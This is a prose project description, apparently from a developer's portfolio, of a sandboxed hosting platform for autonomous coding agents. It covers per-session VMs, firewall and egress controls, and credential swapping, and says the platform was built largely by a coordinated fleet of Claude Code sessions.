dream-serpent — sandboxed agent platform

Dream Serpent is a from-scratch secure developer platform for autonomous coding agents — informally, “Heroku for Claude Code.” The problem is one I hit in my own practice: once you run many autonomous agents against real credentials and real infrastructure, a single misbehaving agent can do real damage, and no off-the-shelf substrate bounds the blast radius.

The answer is defense the agent cannot route around. Every agent session gets its own ephemeral KVM virtual machine behind a default-deny NFTables firewall and two Rust boundary services sitting outside the guest’s routing table: a DNS-gated allowlisting service and a TLS-terminating egress gateway. Long-lived credentials never enter the guest at all — the gateway swaps short-lived tokens for real ones at the boundary, so a compromised VM holds nothing worth stealing and nothing needs rotating. Workload identity is handled with a SPIFFE/SPIRE certificate authority and per-session Biscuit tokens. The data plane is Apache-2.0 by design, split cleanly from a proprietary control plane.

The method is the headline. Roughly 4,600 commits and about 372k first-party code lines of Go, Rust, and TypeScript landed in five and a half weeks, produced almost entirely by a self-directed fleet of Claude Code sessions coordinating through infrastructure the project built for itself: a serialized landing queue whose elected leader fast-forwards one gate-green integration branch onto main at a time (its counter reached #6631); a custom git merge driver that reconciles concurrent task-state edits by ID rather than by text, proven in a final-day 443-commit reconcile; and a 147-entry ratified decision log cited by number throughout code and commits. Periodic fleet-wide self-audits had agents check other agents’ completed work against main — one such sweep surfaced three live security gaps, all closed the same day.

The hardest problem was governance at swarm scale: keeping dozens of concurrent contributors from corrupting main or speculatively scaffolding, solved with frozen protobuf contracts, an explicit list of things deliberately not built, and wave dispatch plans that assign disjoint file sets.

The core safety spine — firewall, DNS gate, TLS credential swap, and identity — has been demonstrated live end-to-end in a nested-VM testbed. The project is active, now dogfooding by hosting my own agent workspaces as its first daily-driver workloads. The repo is its own best demonstration of the thing it builds.